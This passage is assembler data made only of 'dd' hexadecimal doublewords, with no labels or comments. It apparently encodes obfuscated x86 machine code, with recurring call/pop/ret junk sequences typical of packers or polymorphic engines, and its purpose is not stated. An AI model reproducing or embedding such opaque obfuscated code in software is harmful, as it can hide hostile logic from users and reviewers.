		dd 71E46DC3h, 3129BF66h, 6E8h, 46729000h, 5EA98751h, 830F613Ch
		dd 20Fh, 12840Fh, 0AE80000h, 71000000h,	0CD916568h, 0B3F9EB58h
		dd 5E616036h, 0BAD8B60Fh, 6, 8238FDBEh,	0FC38B5Dh, 8Dh
		dd 4E8C100h, 271BD8Bh, 0F76605E9h, 0F3D0BEE2h, 0D82B2FD5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CC35545h
		dd 713F3D56h, 0B04F2CF2h, 335BD8Bh, 6BBF05E9h, 0E95A47ADh
		dd 7, 10921630h, 58C2979Ah, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 28C35646h, 3EF09798h,	0C354A742h, 0FD82B25h
		dd 16688h, 14E900h, 94E0000h, 0E32D105Bh, 636C9E99h, 9F389618h
		dd 405BD92Fh, 7B940FFh,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8395C355h
		dd 6A00C1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 236FBAC3h, 3BF6E414h, 860FD9h, 66000001h
		dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 56FE96C3h, 0AA8A27AFh, 0BD032123h, 5E90D95h
		dd 0F04C1F6h, 0A884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 68B72C9Ah, 0BED95FFh
		dd 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 0F918CCC3h, 0CAF5E252h, 6A5B37h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 2EF45EC3h, 28379394h, 6AC32Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0C6AAFFC3h, 0FDC8060h
		dd 8343D61h, 860F0000h,	0Dh, 0F6BF0F53h, 25E95Eh, 0B70F0000h
		dd 6AC08BF8h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0A77C351h, 8B1D814Bh, 6AD88BC3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 6B03C352h, 0E456E5F4h, 893F6118h,	0E924AD9Dh
		dd 4185C705h, 5305E90Eh, 8B794067h, 0E92781B5h,	81C08B05h
		dd 0E9243DBDh, 7D005h, 1A850F00h, 0E9000000h, 0Ch, 0CDBCEF0h
		dd 0C3813913h, 21523E80h, 243D85FFh, 8B6605E9h,	3DB5FFF3h
		dd 0FF05E924h, 0E91E9595h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0D3150BEDh
		dd 90F78B5Eh, 57006A40h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 560EAB3Eh, 8529503Fh, 5E93121h, 1F49BD83h
		dd 0F0005E9h, 0C284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 754C6C61h, 3095BD83h
		dd 0F0005E9h, 9684h, 880F6000h,	4, 3EEEBB66h, 4995FF61h
		dd 2305E91Fh, 0E92DB5B5h, 0FC00B05h, 7684h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 44347EE2h, 9D89DC10h, 5E92651h, 6D8D8DF5h, 6A05E94Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0A169C356h, 5E535EC7h, 5B8h, 88E0F00h, 50000000h
		dd 0A53EEF81h, 0FF5F61E7h, 0E1BD33E1h, 0F05E92Ah, 688h
		dd 1B58B00h, 8305E923h,	0E92E25BDh, 840F0005h, 555h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 38C35646h, 0BA835ABCh
		dd 8B5EE80Bh, 0E928EDBDh, 95BD8305h, 5E930h, 51F840Fh
		dd 0B5890000h, 5E91935h, 0C858D8Dh, 858905E9h, 5E90905h
		dd 7C8401C7h, 8B6644B2h, 0CB0181F2h, 6A1499CFh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0BBB2C352h, 94E4084h, 0E932158Dh, 441C705h, 0CE706B34h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DFC35141h
		dd 0DEBD25B7h, 8B55FE07h, 0E928F5BDh, 55BD8905h, 8105E92Dh
		dd 0D7100441h, 7E931D6h, 0F2000000h, 7FBB2B6Fh,	6A9484h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 97C35646h
		dd 0F33D422Ch, 282A5613h, 0C85858Dh, 12E905E9h,	7C000000h
		dd 143A2881h, 83A89E7Dh, 307459C0h, 855732F8h, 0F18B90B2h
		dd 6A9050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0EDDE23C3h, 0DED7811Bh, 0FF67F4CEh, 0E92E2595h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 7A041FBEh, 0F2B70F0Fh, 0C858D8Dh, 6A05E9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 7A338BC3h, 4870Fh, 0BE660000h, 1C7C0D7h, 0
		dd 5820Fh, 38BE0000h, 0F72B2A3h, 41C7F3B7h, 4, 0D7816600h
		dd 0B53106E4h, 5E924ADh, 840FC00Bh, 76h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 0D1C35141h, 51467290h
		dd 2970A987h, 0E913CDB5h, 6D8D8D05h, 6A05E94Eh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0B878C355h, 5, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	35C35242h, 0A9C7421Eh, 0BF66E1FFh, 8D8D8909h, 5E90C85h
		dd 13E9h, 68151E00h, 0D29C04E9h, 0A68EBD55h, 0AAF08318h
		dd 7EEED8B1h, 727C01C7h, 8B6644AAh, 0CB0181FAh,	661499CFh
		dd 41C7FA8Bh, 78753C04h, 0BEFA8BCEh, 44AA2E43h,	10044181h
		dd 0F31D6D7h, 38Ah, 0F9B70F00h,	6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 1F2C4C3h
		dd 0D68110B4h, 788C5AF9h, 0C85858Dh, 6A05E9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0C512B2C3h
		dd 50517968h, 59B58BEAh, 0F805E924h, 2BE6690h, 0EEBF5043h
		dd 9026194Ch, 810Fh, 8E90000h, 71000000h, 0C9A193DEh, 0FF02634Eh
		dd 0E92E2595h, 0B1B58B05h, 8D05E926h, 0E90C858Dh, 0D5BD8905h
		dd 0C705E930h, 1, 0EE900h, 75860000h, 5D4AF1C5h, 0F6688C38h
		dd 8160D8E3h, 441C7h, 52000000h, 5FF8B70Fh, 840FC00Bh
		dd 48h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
		dd 0B4C35040h, 1C4FE862h, 0D5B58B1Ch, 8D05E917h, 0E94E6D8Dh
		dd 0C1B58B05h, 6605E904h, 90DFCF81h, 5B8h, 0BDBD2300h
		dd 0FF05E91Eh, 0F6B70FE1h, 0C858D8Dh, 6A05E9h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E94814C3h, 0Fh, 8C5A9722h, 49B85E92h, 0F691CC76h, 0C7DBC82Ah
		dd 0CA95A501h, 0CB018154h, 6A1499CFh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 1165C356h
		dd 18874A03h, 668C29AAh, 0C73097BEh, 59690441h,	8166CE5Fh
		dd 81E66EEEh, 0D7100441h, 0B96031D6h, 246D9358h, 81CA8057h
		dd 0B58B615Bh, 5E91D61h, 0F78B006Ah, 86BA9BBEh,	85858D2Dh
		dd 6A05E90Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 31E4C356h, 5DE8B81h, 13E950h
		dd 15610000h, 76EDBBA1h, 855B3C88h, 0B9F54BFEh,	1F6C1A3Ch
		dd 24048922h, 0AE8h, 0F50E2800h, 91666E8Eh, 66DED948h
		dd 0FF5EF08Bh, 0E92E2595h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8D8DF44Bh
		dd 5E90C85h, 7BC68166h,	1C7AEh,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0D027C351h
		dd 10FDBD29h, 0CF8105E9h, 5024250Eh, 441C7h, 89000000h
		dd 0E91EC9BDh, 0FC00B05h, 7484h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 628077ACh
		dd 0E05BD8Bh, 8D8D05E9h, 5E94E6Dh, 0DE8h, 6E6EC600h, 676FBE06h
		dd 582490D3h, 0B85FC138h, 5, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 6DC35242h, 964442DDh, 3397E74Ch
		dd 0E92F91B5h, 8BE1FF05h, 0E92B21BDh, 0E9CA0305h, 0FFFFF369h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B2C35545h
		dd 0FE9C18Bh, 76000000h, 0DFB8A45Fh, 57BD7484h,	23096656h
		dd 89602C8Eh, 0E90C05BDh, 259D2305h, 6105E90Ch,	4EBh, 0B58B0000h
		dd 5E92375h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	60C35141h, 704C9951h, 0B0FEE8ABh, 6118589h, 858D05E9h
		dd 5E921E5h, 800F52h, 5E000000h, 18C0Fh, 50F90000h, 489F78Bh
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 69A70DA0h, 0DDA6CD3Fh, 6A338Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4CC35242h, 0D6E0AEBBh
		dd 14E8h, 8FA09500h, 0ED6E177Dh, 47E12E6Bh, 0B4A933D0h
		dd 0A6017478h, 5EF18B19h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 979828C3h, 0E9423EF0h
		dd 0Fh,	9EE942E0h, 3084ABFCh, 83DF0DE8h, 660D9DE9h, 8D310EBEh
		dd 0ECEAFC85h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 70DD7B08h, 66405F32h
		dd 83AE75BEh, 0BD8905C0h, 5E90479h, 0AE850h, 5EA40000h
		dd 578C159Ah, 0DB13866Fh, 0AE9h, 0F8DAC200h, 7F571Ch, 5E05074Bh
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 171FC351h, 0D586D9E0h,	0DEF1F1DAh
		dd 31F1B58Bh, 6A05E9h, 2A39B58Bh, 6A05E9h, 7DBE6657h, 95FF5E7Ah
		dd 5E90AA1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	45C35040h, 0BD8970B2h, 5E91F05h, 0ADBF9D8Dh, 6A05ECh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 26FCABC3h, 104DB58Bh, 0D3FF05E9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0B7C35343h,	772C5Ah, 0BDA6AD13h
		dd 2E05BD09h, 0B58B05E9h, 5E91C99h, 68985FFh, 6A05E9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 999C21C3h, 8B66D7A1h, 6830FF0h, 89000000h, 0E919498Dh
		dd 8E5E905h, 0E80000h, 5D000000h, 0EB06ED81h, 0CEBE05ECh
		dd 8163A251h, 0E9243DBDh, 7D005h, 53860F00h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 7A4C350h,	85BD8914h, 8B05E931h, 0E901E59Dh
		dd 0E38105h, 6A000001h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0D6CBC355h,	3820F81h
		dd 66000000h, 0DB0BF78Bh, 78850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3BCC40C3h
		dd 0B685E3F9h, 0BD838C1Fh, 5ECE8C1h, 0B840F00h,	66000000h
		dd 66E9F38Bh, 66000000h, 85C7F78Bh, 5ECE8C1h, 1, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h, 4A072A2Fh
		dd 5CCD6D93h, 0E9F28B66h, 2Dh, 19DBD01h, 85C705E9h, 5ECE8C1h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 83C35646h
		dd 0E59D8DA3h, 6A05E901h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 905DC356h, 0D2F0BBCEh
		dd 0BE42BD41h, 152BA67Fh, 31B5B503h, 238105E9h,	0FFFFFEFFh
		dd 0EE8h, 5F986000h, 0C9BD1E56h, 9BD78A12h, 817475FFh
		dd 4DFEED6h, 8C665E6Fh,	0ADB58BDBh, 0F605E90Ah,	840F04C3h
		dd 47h,	0BED95FFh, 6A05E9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0BFA1F1C3h, 0D3D15803h
		dd 0B5038FDAh, 5E93075h, 0F78B6690h, 8B0F50h, 90000000h
		dd 0EF86C681h, 81663DB6h, 0E92966E6h, 399h, 22AD8501h
		dd 853105E9h, 5E90919h,	6A00B0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0C96090C3h, 2970E69Fh
		dd 0E90DC185h, 6A71E405h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0E2BEC350h,	0A6293429h
		dd 0B60F1CB1h, 48EDBED8h, 6BA41E9h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 6EF4C351h, 91062B2Ch, 0F6B70FE8h, 870Fh, 0C38B0000h
		dd 0C1F28B66h, 13E904E8h, 0B8000000h, 2B6499B9h, 3710A5DEh
		dd 0F0A9071Fh, 7B293350h, 0F766B30Ch, 0F99D29E2h, 2B05E92Bh
		dd 52006AD8h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 15B58B7Dh, 0F05E932h, 87h, 0F3B70F00h, 0C916BE50h
		dd 1C8953DBh, 71B58924h, 0FF05E912h, 0E9243DB5h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0B2C4A46Bh, 0F1B70F57h, 9595FF5Eh, 6605E91Eh, 2B60C681h
		dd 4BE00B0h, 0E67DAB57h, 50006A70h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 909A6B59h, 0B58BD405h
		dd 5E904CDh, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 4A0F0EC3h, 51B53160h, 8B05E905h
		dd 0E9022195h, 0F08B6105h, 830F613Ch, 205h, 7F3B38BEh
		dd 0D8B60F5Bh, 9CE8166h, 6BA9Bh, 860F0000h, 0
		dd 0C38BF38Bh, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 9B14C352h, 0F31F11Ah
		dd 58Ch, 5A27BE00h, 0DE81766Dh,	64E3CB45h, 6AE2F766h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0A704C356h, 6AD82BF6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0DC1CC350h,	8166B72Dh
		dd 583C00F6h, 880FD82Bh, 165h, 0F1858960h, 8005E905h, 0B9617ECEh
		dd 7, 0B4D8529h, 0C18305E9h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 95BFA3D2h
		dd 667D8FA0h, 5964F681h, 860FD93Bh, 11Dh, 25559D89h, 8C6605E9h
		dd 8E9D9h, 0C3DB0000h, 0C9C66D62h, 0C1F69E75h, 0D9840F04h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0FFACC352h, 4A0BEC1Ch,	0BED95FFh
		dd 950905E9h, 5E91061h,	56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 899D50Fh, 0C3C68166h
		dd 4BE66F0h, 6AC32B95h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 88CCC352h, 0F509CA2h
		dd 0ACD17B7Ch, 8529F28Bh, 5E92D09h, 8343Dh, 49860F00h
		dd 60000000h, 0AE8h, 1B47A200h,	0C77D3FD9h, 8B1C15EAh
		dd 0E9615BCEh, 55h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 6CC35545h, 0F6F746Eh,	689h, 4DBD8900h
		dd 6605E926h, 0C9B7C681h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0A46055C3h, 0E8C68A9Bh
		dd 8BC38B33h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0BD85C749h, 7305E926h, 8B118D15h
		dd 0E90D9DB5h, 6AC08B05h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 699FC350h, 0A9EB6847h
		dd 0F88D5BCh, 68Eh, 0A9B58900h,	8B05E90Bh, 47BABEF3h, 0BD814B22h
		dd 5E9243Dh, 7D0h, 22850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 85FF73C3h
		dd 5E9243Dh, 243DB5FFh,	0BF0F05E9h, 9595FFF2h, 6A05E91Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 4B64C353h, 31CDE04Bh, 81609188h, 392EE3D1h
		dd 2D958934h, 6105E912h, 6AD88B90h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 2410C357h
		dd 0B18589D8h, 8305E905h, 0E91EDDBDh, 840F0005h, 4Fh, 68A0F60h
		dd 29000000h, 0E90B6995h, 0F3816605h, 0E9612C7Ah, 13h
		dd 0EAB0344Ah, 419E3468h, 2EB18851h, 0F6F79B8Fh, 0E9E45800h
		dd 210h, 0FE8h,	87E26400h, 910CC1A0h, 658103B6h, 71E0FFA0h
		dd 4820Fh, 0BE660000h, 8C5E799Eh, 0F28B66DFh, 4C7F766h
		dd 0E1850F00h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0AAFFC355h,	295D08C6h
		dd 0E90F21B5h, 0FFF2B05h, 683h,	55B52300h, 8D05E918h, 0ECF36C9Dh
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0AE4AB809h, 407212C1h, 60501D6Ch, 14E9h
		dd 213B5400h, 0D05F0217h, 0D284BD3Bh, 8D2D028Dh, 2682E603h
		dd 0BBE66D6h, 1C89611Ah, 51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 35FF645Eh, 0
		dd 32858D89h, 896405E9h, 25h, 8BF78B00h, 55006AC4h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 56BCD408h, 0BE66CBADh, 8B666019h, 0EB01CDF7h, 0B523F800h
		dd 5E91649h, 0F96ACBBEh, 7E918h, 48880000h, 714AFD76h
		dd 58F6417h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 77C35242h
		dd 0E9F09F73h, 12h, 92E1F3CBh, 25326681h, 1EE1C7CAh, 78D38F56h
		dd 0C483EF0Dh, 0F08B6604h, 0E8EEC681h, 0C00B7B07h, 96840Fh
		dd 0BD8D0000h, 5E94E6Dh, 3A9B529h, 5B805E9h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0C94EC352h, 888EE78Dh, 8589D024h,	5E92831h
		dd 0E01DDE81h, 0E7FF58E7h, 71D3C8BEh, 5C8B5736h, 838B1024h
		dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h
		dd 6AC3C033h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 666EC350h, 0B433C681h,	8BF3B70Fh
		dd 0E91D15B5h, 0F2BF0F05h, 3FE9CA2Bh, 6AFFFFF7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0C206C356h, 0CCF681EDh, 8B74188Ch, 218509C1h, 0EB05E90Ch
		dd 4, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 54F50C65h, 5C6842D9h, 0BD8BC80Fh
		dd 5E90DF9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	66C35343h, 913BE487h, 8DFC37CBh, 0E921E585h, 0FDB58905h
		dd 0F905E932h, 6E890h, 34E80000h, 0ED6DB31Eh, 52505250h
		dd 585A310Fh, 8B66310Fh, 5E585AF7h, 1BA2BE50h, 0F8903F5Dh
		dd 0BD8B006Ah, 5E92519h, 0BD8B006Ah, 5E91221h, 0F4D4858Dh
		dd 0C08305ECh, 0F19D8905h, 9005E924h, 9050F28Bh, 5E9006Ah
		dd 0E9000000h, 0CD4F7FACh, 95FF006Ah, 5E90AA1h,	0AE9h
		dd 57E78C00h, 60295660h, 8D4B9328h, 0ECADBF9Dh,	0F28B6605h
		dd 0FD8CE681h, 0D3FF72CAh, 0FFF9BF0Fh, 0E9068985h, 923E905h
		dd 0E80000h, 5D000000h,	0F4DEED81h, 0C68105ECh,	7D30A62Ah
		dd 243DBD81h, 7D005E9h,	860F0000h, 137h, 253D8D89h, 9D8B05E9h
		dd 5E91079h, 81F2BF0Fh,	100E3h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0C8539E36h
		dd 0BFB8B66h, 9E850FDBh, 8B000000h, 0E91119B5h,	0F0BD8305h
		dd 5ECF3h, 33840Fh, 33600000h, 0E90CCD8Dh, 5E905h, 25090000h
		dd 6155251Fh, 95E9h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0F085C705h, 105ECF3h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 6424C350h, 0E1B53314h,	0E905E917h
		dd 46h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh
		dd 53C35141h, 0F0D8D3EFh, 705BA9h, 0F085C712h, 5ECF3h
		dd 0E8000000h, 9, 0E194C4D6h, 4EF7836Dh, 0B5335281h, 5E91D95h
		dd 9D8D5F5Eh, 5E91079h,	193D8D89h, 238105E9h, 0FFFFFEFFh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 60C35343h
		dd 83397522h, 0EDBD8BA3h, 6605E900h, 6ADB8Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 508963C3h
		dd 3FCE8172h, 0F6174029h, 840F04C3h, 53h, 0E1C35CBEh, 0ED95FF61h
		dd 6005E90Bh, 2DF9BD8Bh, 0BD8B05E9h, 5E907BDh, 0F9BF0F61h
		dd 0F525090h, 488h, 13BF6600h, 66310F4Fh, 5AF917BFh, 5F575058h
		dd 50006A90h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0E9F84232h, 526h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 18h, 40C35040h, 87F8F32h, 7E9h
		dd 924BCD00h, 260AC873h, 6A00B0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0A1DB29C3h, 0AD9D4901h
		dd 0E4E78100h, 0E65AEE21h, 52006A70h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0C074CB6h
		dd 8908D39Fh, 0E906A5BDh, 6A71E405h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 280CC352h
		dd 633F1F9Fh, 4EDE81BDh, 0F49577Dh, 6AD8B6h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 424EE6C3h
		dd 0CD07A97h, 8F0F5376h, 2, 0BA5F5F51h,	6, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 2C35040h, 8BF88B8Bh
		dd 57006AC3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 7E155C6Eh, 0AA6A2385h, 658D8903h, 0F05E906h
		dd 0E8C1FEBFh, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0FAE468BAh, 8BBA26DEh
		dd 0E92C15BDh, 3DB58B05h, 6605E930h, 0BE66E2F7h, 0D82B32D5h
		dd 31099589h, 8E905E9h,	28000000h, 0F17C8DFCh, 501FCF63h
		dd 0BE85250h, 0DA000000h, 8FCFD3B4h, 72879432h,	61601FA3h
		dd 66310F5Fh, 5A7A11BEh, 241C8958h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 30C35747h, 0C8FC75F7h, 89BD03EDh
		dd 0FF05E919h, 0E9243DB5h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 9DC88C98h
		dd 27BF6516h, 0AE97C5Ah, 77000000h, 0D8EB2943h,	2B9D2798h
		dd 9595FFD1h, 2905E91Eh, 0E91751B5h, 6A00B005h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 5A20C352h, 607E6A2Fh, 0FF28B66h, 38Ah, 0C9B70F00h, 6DB58B61h
		dd 0E605E923h, 56006A70h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0C0553716h, 0E56D1BFBh
		dd 0E4F38BF8h, 55006A71h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 2A49979h, 4107479Eh, 6820F98h
		dd 9000000h, 0E9196D9Dh, 0F613C05h, 28583h, 0F9B58B00h
		dd 0F05E903h, 0CF81D8B6h, 47EC0687h, 6BAh, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 0DA093F45h, 0C38BC6FDh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0D7C35040h, 0F3BF0FEAh, 1D3DBD8Bh, 0E8C105E9h
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0AC39B4F8h, 0BFE26C2Fh, 2907A1h,	0EF1BD8Bh
		dd 0F76605E9h, 0D82BFCE2h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0FEC35040h, 747BF4BEh, 0FE912h, 29C20000h
		dd 0BC791D54h, 11335805h, 0EC4540E1h, 0A0BF5882h, 2B1DA7EAh
		dd 0AF880FD8h, 6A000001h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 9B46C351h, 6E83Ch
		dd 0B6980000h, 19229C34h, 32AD9509h, 0B95F05E9h, 7, 0E8FEB70Fh
		dd 0Ah,	51B4D0B2h, 484ECC85h, 13E803CCh, 64000000h, 0E1F487F6h
		dd 0AB28A8CDh, 0CBFFF1C0h, 0BC8B0F35h, 8D09263Fh, 5E92C1Dh
		dd 0C1835F5Eh, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0A480A937h, 45B58B3Bh
		dd 3B05E92Dh, 17860FD9h, 0E9000001h, 0Ch, 8F13BA3Bh, 0AA7FE1B6h
		dd 36C25946h
		dd 60D98C66h, 0EEF0CEBBh, 0C1F66101h, 0EA840F04h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0C862C356h, 4E99F303h, 0FFB14F33h, 0E90BED95h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0C4542A8Ah, 610727E2h, 9589C38Ch, 5E907FDh
		dd 0E195315Bh, 905E90Ch, 0E900B98Dh, 6AC32B05h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
